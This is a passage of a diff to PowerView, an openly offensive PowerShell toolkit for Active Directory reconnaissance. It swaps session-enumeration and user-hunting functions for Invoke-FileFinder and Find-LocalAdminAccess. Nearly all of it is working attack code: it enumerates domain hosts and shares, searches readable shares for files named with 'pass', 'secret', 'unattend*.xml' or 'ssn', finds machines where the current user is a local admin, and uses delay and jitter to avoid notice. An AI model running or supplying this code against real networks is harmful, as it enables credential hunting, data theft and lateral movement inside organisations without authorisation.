+ $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
+ }
+
+ Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
+ $Counter = 0
+
+ ForEach ($Computer in $ComputerName) {
+
+ $Counter = $Counter + 1
+
+ # sleep for our semi-randomized interval
+ Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
+
+ Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
+ Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin
}
}
+
}
}
-filter Get-NetLoggedon {
+function Invoke-FileFinder {
<#
.SYNOPSIS
- This function will execute the NetWkstaUserEnum Win32API call to query
- a given host for actively logged on users.
-
- .PARAMETER ComputerName
+ Finds sensitive files on the domain.
- The hostname to query for logged on users.
+ Author: @harmj0y
+ License: BSD 3-Clause
- .OUTPUTS
+ .DESCRIPTION
- WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1
- result structure which includes the username and domain of logged on users,
- with the ComputerName added.
+ This function finds the local domain name for a host using Get-NetDomain,
+ queries the domain for all active machines with Get-NetComputer, grabs
+ the readable shares for each server, and recursively searches every
+ share for files with specific keywords in the name.
+ If a share list is passed, EVERY share is enumerated regardless of
+ other options.
- .EXAMPLE
+ .PARAMETER ComputerName
- PS C:\> Get-NetLoggedon
+ Host array to enumerate, passable on the pipeline.
- Returns users actively logged onto the local host.
+ .PARAMETER ComputerFile
- .EXAMPLE
+ File of hostnames/IPs to search.
- PS C:\> Get-NetLoggedon -ComputerName sqlserver
+ .PARAMETER ComputerFilter
- Returns users actively logged onto the 'sqlserver' host.
+ Host filter name to query AD for, wildcards accepted.
- .EXAMPLE
+ .PARAMETER ComputerADSpath
- PS C:\> Get-NetComputer | Get-NetLoggedon
+ The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+ Useful for OU queries.
- Returns all logged on userse for all computers in the domain.
+ .PARAMETER ShareList
- .LINK
+ List if \\HOST\shares to search through.
- http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
-#>
+ .PARAMETER Terms
- [CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [Object[]]
- [ValidateNotNullOrEmpty()]
- $ComputerName = 'localhost'
- )
+ Terms to search for.
- # extract the computer name from whatever object was passed on the pipeline
- $Computer = $ComputerName | Get-NameField
+ .PARAMETER OfficeDocs
- # Declare the reference variables
- $QueryLevel = 1
- $PtrInfo = [IntPtr]::Zero
- $EntriesRead = 0
- $TotalRead = 0
- $ResumeHandle = 0
+ Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
- # get logged on user information
- $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
+ .PARAMETER FreshEXEs
- # Locate the offset of the initial intPtr
- $Offset = $PtrInfo.ToInt64()
+ Switch. Find .EXEs accessed within the last week.
- Write-Debug "Get-NetLoggedon result for $Computer : $Result"
+ .PARAMETER LastAccessTime
- # 0 = success
- if (($Result -eq 0) -and ($Offset -gt 0)) {
+ Only return files with a LastAccessTime greater than this date value.
- # Work out how mutch to increment the pointer by finding out the size of the structure
- $Increment = $WKSTA_USER_INFO_1::GetSize()
+ .PARAMETER LastWriteTime
- # parse all the result structures
- for ($i = 0; ($i -lt $EntriesRead); $i++) {
- # create a new int ptr at the given offset and cast
- # the pointer as our result structure
- $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
- $Info = $NewIntPtr -as $WKSTA_USER_INFO_1
+ Only return files with a LastWriteTime greater than this date value.
- # return all the sections of the structure
- $LoggedOn = $Info | Select-Object *
- $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
- $Offset = $NewIntPtr.ToInt64()
- $Offset += $Increment
- $LoggedOn
- }
+ .PARAMETER CreationTime
- # free up the result buffer
- $Null = $Netapi32::NetApiBufferFree($PtrInfo)
- }
- else
- {
- switch ($Result) {
- (5) {Write-Debug 'The user does not have access to the requested information.'}
- (124) {Write-Debug 'The value specified for the level parameter is not valid.'}
- (87) {Write-Debug 'The specified parameter is not valid.'}
- (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'}
- (8) {Write-Debug 'Insufficient memory is available.'}
- (2312) {Write-Debug 'A session does not exist with the computer name.'}
- (2351) {Write-Debug 'The computer name is not valid.'}
- (2221) {Write-Debug 'Username not found.'}
- (53) {Write-Debug 'Hostname could not be found'}
- }
- }
-}
+ Only return files with a CreationDate greater than this date value.
+ .PARAMETER IncludeC
-filter Get-NetSession {
-<#
- .SYNOPSIS
+ Switch. Include any C$ shares in recursive searching (default ignore).
- This function will execute the NetSessionEnum Win32API call to query
- a given host for active sessions on the host.
- Heavily adapted from dunedinite's post on stackoverflow (see LINK below)
+ .PARAMETER IncludeAdmin
- .PARAMETER ComputerName
+ Switch. Include any ADMIN$ shares in recursive searching (default ignore).
- The ComputerName to query for active sessions.
+ .PARAMETER ExcludeFolders
- .PARAMETER UserName
+ Switch. Exclude folders from the search results.
- The user name to filter for active sessions.
+ .PARAMETER ExcludeHidden
- .OUTPUTS
+ Switch. Exclude hidden files and folders from the search results.
- SESSION_INFO_10 structure. A representation of the SESSION_INFO_10
- result structure which includes the host and username associated
- with active sessions, with the ComputerName added.
+ .PARAMETER CheckWriteAccess
- .EXAMPLE
+ Switch. Only returns files the current user has write access to.
- PS C:\> Get-NetSession
+ .PARAMETER OutFile
- Returns active sessions on the local host.
+ Output results to a specified csv output file.
- .EXAMPLE
+ .PARAMETER NoClobber
- PS C:\> Get-NetSession -ComputerName sqlserver
+ Switch. Don't overwrite any existing output file.
- Returns active sessions on the 'sqlserver' host.
+ .PARAMETER NoPing
- .EXAMPLE
+ Switch. Don't ping each host to ensure it's up before enumerating.
- PS C:\> Get-NetDomainController | Get-NetSession
+ .PARAMETER Delay
- Returns active sessions on all domain controllers.
+ Delay between enumerating hosts, defaults to 0
- .LINK
+ .PARAMETER Jitter
- http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
-#>
+ Jitter for the host delay, defaults to +/- 0.3
- [CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [Object[]]
- [ValidateNotNullOrEmpty()]
- $ComputerName = 'localhost',
+ .PARAMETER Domain
- [String]
- $UserName = ''
- )
+ Domain to query for machines, defaults to the current domain.
- # extract the computer name from whatever object was passed on the pipeline
- $Computer = $ComputerName | Get-NameField
+ .PARAMETER DomainController
- # arguments for NetSessionEnum
- $QueryLevel = 10
- $PtrInfo = [IntPtr]::Zero
- $EntriesRead = 0
- $TotalRead = 0
- $ResumeHandle = 0
+ Domain controller to reflect LDAP queries through.
- # get session information
- $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
+ .PARAMETER SearchForest
- # Locate the offset of the initial intPtr
- $Offset = $PtrInfo.ToInt64()
+ Search all domains in the forest for target users instead of just
+ a single domain.
- Write-Debug "Get-NetSession result for $Computer : $Result"
+ .PARAMETER SearchSYSVOL
- # 0 = success
- if (($Result -eq 0) -and ($Offset -gt 0)) {
+ Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain.
- # Work out how mutch to increment the pointer by finding out the size of the structure
- $Increment = $SESSION_INFO_10::GetSize()
+ .PARAMETER Threads
- # parse all the result structures
- for ($i = 0; ($i -lt $EntriesRead); $i++) {
- # create a new int ptr at the given offset and cast
- # the pointer as our result structure
- $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
- $Info = $NewIntPtr -as $SESSION_INFO_10
+ The maximum concurrent threads to execute.
- # return all the sections of the structure
- $Sessions = $Info | Select-Object *
- $Sessions | Add-Member Noteproperty 'ComputerName' $Computer
- $Offset = $NewIntPtr.ToInt64()
- $Offset += $Increment
- $Sessions
- }
- # free up the result buffer
- $Null = $Netapi32::NetApiBufferFree($PtrInfo)
- }
- else
- {
- switch ($Result) {
- (5) {Write-Debug 'The user does not have access to the requested information.'}
- (124) {Write-Debug 'The value specified for the level parameter is not valid.'}
- (87) {Write-Debug 'The specified parameter is not valid.'}
- (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'}
- (8) {Write-Debug 'Insufficient memory is available.'}
- (2312) {Write-Debug 'A session does not exist with the computer name.'}
- (2351) {Write-Debug 'The computer name is not valid.'}
- (2221) {Write-Debug 'Username not found.'}
- (53) {Write-Debug 'Hostname could not be found'}
- }
- }
-}
+ .PARAMETER UsePSDrive
+ Switch. Mount target remote path with temporary PSDrives.
-filter Get-LoggedOnLocal {
-<#
- .SYNOPSIS
+ .EXAMPLE
- This function will query the HKU registry values to retrieve the local
- logged on users SID and then attempt and reverse it.
- Adapted technique from Sysinternal's PSLoggedOn script. Benefit over
- using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges
- required (NetWkstaUserEnum requires remote admin access).
+ PS C:\> Invoke-FileFinder
- Note: This function requires only domain user rights on the
- machine you're enumerating, but remote registry must be enabled.
+ Find readable files on the domain with 'pass', 'sensitive',
+ 'secret', 'admin', 'login', or 'unattend*.xml' in the name,
- Function: Get-LoggedOnLocal
- Author: Matt Kelly, @BreakersAll
+ .EXAMPLE
- .PARAMETER ComputerName
+ PS C:\> Invoke-FileFinder -Domain testing
- The ComputerName to query for active sessions.
+ Find readable files on the 'testing' domain with 'pass', 'sensitive',
+ 'secret', 'admin', 'login', or 'unattend*.xml' in the name,
.EXAMPLE
- PS C:\> Get-LoggedOnLocal
+ PS C:\> Invoke-FileFinder -IncludeC
- Returns active sessions on the local host.
+ Find readable files on the domain with 'pass', 'sensitive',
+ 'secret', 'admin', 'login' or 'unattend*.xml' in the name,
+ including C$ shares.
.EXAMPLE
- PS C:\> Get-LoggedOnLocal -ComputerName sqlserver
+ PS C:\> Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv
- Returns active sessions on the 'sqlserver' host.
+ Enumerate a specified share list for files with 'accounts' or
+ 'ssn' in the name, and write everything to "out.csv"
+
+ .LINK
+ http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/
#>
[CmdletBinding()]
param(
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [Object[]]
- [ValidateNotNullOrEmpty()]
- $ComputerName = 'localhost'
- )
+ [Parameter(Position=0,ValueFromPipeline=$True)]
+ [Alias('Hosts')]
+ [String[]]
+ $ComputerName,
- # process multiple host object types from the pipeline
- $ComputerName = Get-NameField -Object $ComputerName
+ [ValidateScript({Test-Path -Path $_ })]
+ [Alias('HostList')]
+ [String]
+ $ComputerFile,
- try {
- # retrieve HKU remote registry values
- $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName")
+ [String]
+ $ComputerFilter,
- # sort out bogus sid's like _class
- $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object {
- $UserName = Convert-SidToName $_
+ [String]
+ $ComputerADSpath,
+
+ [ValidateScript({Test-Path -Path $_ })]
+ [String]
+ $ShareList,
+
+ [Switch]
+ $OfficeDocs,
+
+ [Switch]
+ $FreshEXEs,
+
+ [Alias('Terms')]
+ [String[]]
+ $SearchTerms,
+
+ [ValidateScript({Test-Path -Path $_ })]
+ [String]
+ $TermList,
+
+ [String]
+ $LastAccessTime,
+
+ [String]
+ $LastWriteTime,
+
+ [String]
+ $CreationTime,
+
+ [Switch]
+ $IncludeC,
+
+ [Switch]
+ $IncludeAdmin,
+
+ [Switch]
+ $ExcludeFolders,
+
+ [Switch]
+ $ExcludeHidden,
+
+ [Switch]
+ $CheckWriteAccess,
+
+ [String]
+ $OutFile,
- $Parts = $UserName.Split('\')
- $UserDomain = $Null
- $UserName = $Parts[-1]
- if ($Parts.Length -eq 2) {
- $UserDomain = $Parts[0]
- }
+ [Switch]
+ $NoClobber,
- $LocalLoggedOnUser = New-Object PSObject
- $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName"
- $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain
- $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName
- $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_
- $LocalLoggedOnUser
- }
- }
- catch {
- Write-Verbose "Error opening remote registry on '$ComputerName'"
- }
-}
+ [Switch]
+ $NoPing,
+ [UInt32]
+ $Delay = 0,
-########################################################
-#
-# 'Meta'-functions start below
-#
-########################################################
+ [Double]
+ $Jitter = .3,
-function Invoke-ThreadedFunction {
- # Helper used by any threaded host enumeration functions
- [CmdletBinding()]
- param(
- [Parameter(Position=0,Mandatory=$True)]
- [String[]]
- $ComputerName,
+ [String]
+ $Domain,
- [Parameter(Position=1,Mandatory=$True)]
- [System.Management.Automation.ScriptBlock]
- $ScriptBlock,
+ [String]
+ $DomainController,
+
+ [Switch]
+ $SearchForest,
- [Parameter(Position=2)]
- [Hashtable]
- $ScriptParameters,
+ [Switch]
+ $SearchSYSVOL,
- [Int]
[ValidateRange(1,100)]
- $Threads = 20,
+ [Int]
+ $Threads,
[Switch]
- $NoImports
+ $UsePSDrive
)
begin {
-
if ($PSBoundParameters['Debug']) {
$DebugPreference = 'Continue'
}
- Write-Verbose "[*] Total number of hosts: $($ComputerName.count)"
+ # random object for delay
+ $RandNo = New-Object System.Random
- # Adapted from:
- # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
- $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
- $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
+ Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay"
- # import the current session state's variables and functions so the chained PowerView
- # functionality can be used by the threaded blocks
- if(!$NoImports) {
+ $Shares = @()
- # grab all the current variables for this runspace
- $MyVars = Get-Variable -Scope 2
+ # figure out the shares we want to ignore
+ [String[]] $ExcludedShares = @("C$", "ADMIN$")
- # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
- $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true")
+ # see if we're specifically including any of the normally excluded sets
+ if ($IncludeC) {
+ if ($IncludeAdmin) {
+ $ExcludedShares = @()
+ }
+ else {
+ $ExcludedShares = @("ADMIN$")
+ }
+ }
- # Add Variables from Parent Scope (current runspace) into the InitialSessionState
- ForEach($Var in $MyVars) {
- if($VorbiddenVars -NotContains $Var.Name) {
- $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
+ if ($IncludeAdmin) {
+ if ($IncludeC) {
+ $ExcludedShares = @()
+ }
+ else {
+ $ExcludedShares = @("C$")
+ }
+ }
+
+ # delete any existing output file if it already exists
+ if(!$NoClobber) {
+ if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile }
+ }
+
+ # if there's a set of terms specified to search for
+ if ($TermList) {
+ ForEach ($Term in Get-Content -Path $TermList) {
+ if (($Term -ne $Null) -and ($Term.trim() -ne '')) {
+ $SearchTerms += $Term
}
}
+ }
- # Add Functions from current runspace to the InitialSessionState
- ForEach($Function in (Get-ChildItem Function:)) {
- $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
+ # if we're hard-passed a set of shares
+ if($ShareList) {
+ ForEach ($Item in Get-Content -Path $ShareList) {
+ if (($Item -ne $Null) -and ($Item.trim() -ne '')) {
+ # exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder
+ $Share = $Item.Split("`t")[0]
+ $Shares += $Share
+ }
}
}
+ else {
+ # if we're using a host file list, read the targets in and add them to the target list
+ if($ComputerFile) {
+ $ComputerName = Get-Content -Path $ComputerFile
+ }
- # threading adapted from
- # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
- # Thanks Carlos!
+ if(!$ComputerName) {
- # create a pool of maxThread runspaces
- $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
- $Pool.Open()
+ if($Domain) {
+ $TargetDomains = @($Domain)
+ }
+ elseif($SearchForest) {
+ # get ALL the domains in the forest to search
+ $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
+ }
+ else {
+ # use the local domain
+ $TargetDomains = @( (Get-NetDomain).name )
+ }
- $Jobs = @()
- $PS = @()
- $Wait = @()
+ if($SearchSYSVOL) {
+ ForEach ($Domain in $TargetDomains) {
+ $DCSearchPath = "\\$Domain\SYSVOL\"
+ Write-Verbose "[*] Adding share search path $DCSearchPath"
+ $Shares += $DCSearchPath
+ }
+ if(!$SearchTerms) {
+ # search for interesting scripts on SYSVOL
+ $SearchTerms = @('.vbs', '.bat', '.ps1')
+ }
+ }
+ else {
+ [array]$ComputerName = @()
- $Counter = 0
- }
+ ForEach ($Domain in $TargetDomains) {
+ Write-Verbose "[*] Querying domain $Domain for hosts"
+ $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
+ }
- process {
+ # remove any null target hosts, uniquify the list and shuffle it
+ $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
+ if($($ComputerName.Count) -eq 0) {
+ throw "No hosts found!"
+ }
+ }
+ }
+ }
- ForEach ($Computer in $ComputerName) {
+ # script block that enumerates shares and files on a server
+ $HostEnumBlock = {
+ param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive)
- # make sure we get a server name
- if ($Computer -ne '') {
- # Write-Verbose "[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))"
+ Write-Verbose "ComputerName: $ComputerName"
+ Write-Verbose "ExcludedShares: $ExcludedShares"
+ $SearchShares = @()
- While ($($Pool.GetAvailableRunspaces()) -le 0) {
- Start-Sleep -MilliSeconds 500
+ if($ComputerName.StartsWith("\\")) {
+ # if a share is passed as the server
+ $SearchShares += $ComputerName
+ }
+ else {
+ # if we're enumerating the shares on the target server first
+ $Up = $True
+ if($Ping) {
+ $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
}
+ if($Up) {
+ # get the shares for this host and display what we find
+ $Shares = Get-NetShare -ComputerName $ComputerName
+ ForEach ($Share in $Shares) {
- # create a "powershell pipeline runner"
- $PS += [powershell]::create()
+ $NetName = $Share.shi1_netname
+ $Path = '\\'+$ComputerName+'\'+$NetName
- $PS[$Counter].runspacepool = $Pool
+ # make sure we get a real share name back
+ if (($NetName) -and ($NetName.trim() -ne '')) {
- # add the script block + arguments
- $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('ComputerName', $Computer)
- if($ScriptParameters) {
- ForEach ($Param in $ScriptParameters.GetEnumerator()) {
- $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value)
+ # skip this share if it's in the exclude list
+ if ($ExcludedShares -NotContains $NetName.ToUpper()) {
+ # check if the user has access to this path
+ try {
+ $Null = [IO.Directory]::GetFiles($Path)
+ $SearchShares += $Path
+ }
+ catch {
+ Write-Verbose "[!] No access to $Path"
+ }
+ }
+ }
}
}
+ }
- # start job
- $Jobs += $PS[$Counter].BeginInvoke();
+ ForEach($Share in $SearchShares) {
+ $SearchArgs = @{
+ 'Path' = $Share
+ 'SearchTerms' = $SearchTerms
+ 'OfficeDocs' = $OfficeDocs
+ 'FreshEXEs' = $FreshEXEs
+ 'LastAccessTime' = $LastAccessTime
+ 'LastWriteTime' = $LastWriteTime
+ 'CreationTime' = $CreationTime
+ 'ExcludeFolders' = $ExcludeFolders
+ 'ExcludeHidden' = $ExcludeHidden
+ 'CheckWriteAccess' = $CheckWriteAccess
+ 'OutFile' = $OutFile
+ 'UsePSDrive' = $UsePSDrive
+ }
- # store wait handles for WaitForAll call
- $Wait += $Jobs[$Counter].AsyncWaitHandle
+ Find-InterestingFile @SearchArgs
}
- $Counter = $Counter + 1
}
}
- end {
+ process {
- Write-Verbose "Waiting for scanning threads to finish..."
+ if($Threads) {
+ Write-Verbose "Using threading with threads = $Threads"
- $WaitTimeout = Get-Date
+ # if we're using threading, kick off the script block with Invoke-ThreadedFunction
+ $ScriptParams = @{
+ 'Ping' = $(-not $NoPing)
+ 'ExcludedShares' = $ExcludedShares
+ 'SearchTerms' = $SearchTerms
+ 'ExcludeFolders' = $ExcludeFolders
+ 'OfficeDocs' = $OfficeDocs
+ 'ExcludeHidden' = $ExcludeHidden
+ 'FreshEXEs' = $FreshEXEs
+ 'CheckWriteAccess' = $CheckWriteAccess
+ 'OutFile' = $OutFile
+ 'UsePSDrive' = $UsePSDrive
+ }
- # set a 60 second timeout for the scanning threads
- while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -or $($($(Get-Date) - $WaitTimeout).totalSeconds) -gt 60) {
- Start-Sleep -MilliSeconds 500
+ # kick off the threaded script block + arguments
+ if($Shares) {
+ # pass the shares as the hosts so the threaded function code doesn't have to be hacked up
+ Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
+ else {
+ Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
+ }
+ }
- # end async call
- for ($y = 0; $y -lt $Counter; $y++) {
+ else {
+ if($Shares){
+ $ComputerName = $Shares
+ }
+ elseif(-not $NoPing -and ($ComputerName.count -gt 1)) {
+ # ping all hosts in parallel
+ $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
+ $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
+ }
- try {
- # complete async job
- $PS[$y].EndInvoke($Jobs[$y])
+ Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
+ $Counter = 0
- } catch {
- Write-Warning "error: $_"
- }
- finally {
- $PS[$y].Dispose()
+ $ComputerName | Where-Object {$_} | ForEach-Object {
+ Write-Verbose "Computer: $_"
+ $Counter = $Counter + 1
+
+ # sleep for our semi-randomized interval
+ Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
+
+ Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))"
+
+ Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive
}
}
-
- $Pool.Dispose()
- Write-Verbose "All threads completed!"
}
}
-function Invoke-UserHunter {
+function Find-LocalAdminAccess {
<#
.SYNOPSIS
- Finds which machines users of a specified group are logged into.
+ Finds machines on the local domain where the current user has
+ local administrator access. Uses multithreading to
+ speed up enumeration.
Author: @harmj0y
License: BSD 3-Clause
@@ -5086,14 +11531,15 @@ function Invoke-UserHunter {
.DESCRIPTION
This function finds the local domain name for a host using Get-NetDomain,
- queries the domain for users of a specified group (default "domain admins")
- with Get-NetGroupMember or reads in a target user list, queries the domain for all
- active machines with Get-NetComputer or reads in a pre-populated host list,
- randomly shuffles the target list, then for each server it gets a list of
- active users with Get-NetSession/Get-NetLoggedon. The found user list is compared
- against the target list, and a status message is displayed for any hits.
- The flag -CheckAccess will check each positive host to see if the current
- user has local admin access to the machine.
+ queries the domain for all active machines with Get-NetComputer, then for
+ each server it checks if the current user has local administrator
+ access using Invoke-CheckLocalAdminAccess.
+
+ Idea stolen from the local_admin_search_enum post module in
+ Metasploit written by:
+ 'Brandon McCann "zeknox" '
+ 'Thomas McCarthy "smilingraccoon" '
+ 'Royce Davis "r3dy" '
.PARAMETER ComputerName
@@ -5112,54 +11558,9 @@ function Invoke-UserHunter {
The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
- .PARAMETER Unconstrained
-
- Switch. Only enumerate computers that have unconstrained delegation.
-
- .PARAMETER GroupName
-
- Group name to query for target users.
-
- .PARAMETER TargetServer
-
- Hunt for users who are effective local admins on a target server.
-
- .PARAMETER UserName
-
- Specific username to search for.
-
- .PARAMETER UserFilter
-
- A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"
-
- .PARAMETER UserADSpath
-
- The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
-
- .PARAMETER UserFile
-
- File of usernames to search for.
-
- .PARAMETER AdminCount
-
- Switch. Hunt for users with adminCount=1.
-
- .PARAMETER AllowDelegation
-
- Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
-
- .PARAMETER StopOnSuccess
-
- Switch. Stop hunting after finding after finding a target user.
-
.PARAMETER NoPing
- Don't ping each host to ensure it's up before enumerating.
-
- .PARAMETER CheckAccess
-
- Switch. Check if the current user has local admin access to found machines.
+ Switch. Don't ping each host to ensure it's up before enumerating.
.PARAMETER Delay
@@ -5171,94 +11572,52 @@ function Invoke-UserHunter {
.PARAMETER Domain
- Domain for query for machines, defaults to the current domain.
-
+ Domain to query for machines, defaults to the current domain.
+
.PARAMETER DomainController
Domain controller to reflect LDAP queries through.
- .PARAMETER ShowAll
-
- Switch. Return all user location results, i.e. Invoke-UserView functionality.
-
.PARAMETER SearchForest
Switch. Search all domains in the forest for target users instead of just
a single domain.
- .PARAMETER Stealth
-
- Switch. Only enumerate sessions from connonly used target servers.
-
- .PARAMETER StealthSource
-
- The source of target servers to use, 'DFS' (distributed file servers),
- 'DC' (domain controllers), 'File' (file servers), or 'All'
-
- .PARAMETER ForeignUsers
-
- Switch. Only return results that are not part of searched domain.
-
.PARAMETER Threads
The maximum concurrent threads to execute.
.EXAMPLE
- PS C:\> Invoke-UserHunter -CheckAccess
-
- Finds machines on the local domain where domain admins are logged into
- and checks if the current user has local administrator access.
-
- .EXAMPLE
-
- PS C:\> Invoke-UserHunter -Domain 'testing'
-
- Finds machines on the 'testing' domain where domain admins are logged into.
-
- .EXAMPLE
-
- PS C:\> Invoke-UserHunter -Threads 20
-
- Multi-threaded user hunting, replaces Invoke-UserHunterThreaded.
-
- .EXAMPLE
-
- PS C:\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt
-
- Finds machines in hosts.txt where any members of users.txt are logged in
- or have sessions.
-
- .EXAMPLE
-
- PS C:\> Invoke-UserHunter -GroupName "Power Users" -Delay 60
+ PS C:\> Find-LocalAdminAccess
- Find machines on the domain where members of the "Power Users" groups are
- logged into with a 60 second (+/- *.3) randomized delay between
- touching each host.
+ Find machines on the local domain where the current user has local
+ administrator access.
.EXAMPLE
- PS C:\> Invoke-UserHunter -TargetServer FILESERVER
+ PS C:\> Find-LocalAdminAccess -Threads 10
- Query FILESERVER for useres who are effective local administrators using
- Get-NetLocalGroup -Recurse, and hunt for that user set on the network.
+ Multi-threaded access hunting, replaces Find-LocalAdminAccessThreaded.
.EXAMPLE
- PS C:\> Invoke-UserHunter -SearchForest
+ PS C:\> Find-LocalAdminAccess -Domain testing
- Find all machines in the current forest where domain admins are logged in.
+ Find machines on the 'testing' domain where the current user has
+ local administrator access.
.EXAMPLE
- PS C:\> Invoke-UserHunter -Stealth
+ PS C:\> Find-LocalAdminAccess -ComputerFile hosts.txt
- Executes old Invoke-StealthUserHunter functionality, enumerating commonly
- used servers and checking just sessions for each.
+ Find which machines in the host list the current user has local
+ administrator access.
.LINK
- http://blog.harmj0y.net
+
+ https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
+ http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/
#>
[CmdletBinding()]
@@ -5279,40 +11638,6 @@ function Invoke-UserHunter {
[String]
$ComputerADSpath,
- [Switch]
- $Unconstrained,
-
- [String]
- $GroupName = 'Domain Admins',
-
- [String]
- $TargetServer,
-
- [String]
- $UserName,
-
- [String]
- $UserFilter,
-
- [String]
- $UserADSpath,
-
- [ValidateScript({Test-Path -Path $_ })]
- [String]
- $UserFile,
-
- [Switch]
- $AdminCount,
-
- [Switch]
- $AllowDelegation,
-
- [Switch]
- $CheckAccess,
-
- [Switch]
- $StopOnSuccess,
-
[Switch]
$NoPing,
@@ -5328,29 +11653,15 @@ function Invoke-UserHunter {
[String]
$DomainController,
- [Switch]
- $ShowAll,
-
[Switch]
$SearchForest,
- [Switch]
- $Stealth,
-
- [String]
- [ValidateSet("DFS","DC","File","All")]
- $StealthSource ="All",
-
- [Switch]
- $ForeignUsers,
-
+ [ValidateRange(1,100)]
[Int]
- [ValidateRange(1,100)]
$Threads
)
begin {
-
if ($PSBoundParameters['Debug']) {
$DebugPreference = 'Continue'
}
@@ -5358,21 +11669,15 @@ function Invoke-UserHunter {
# random object for delay
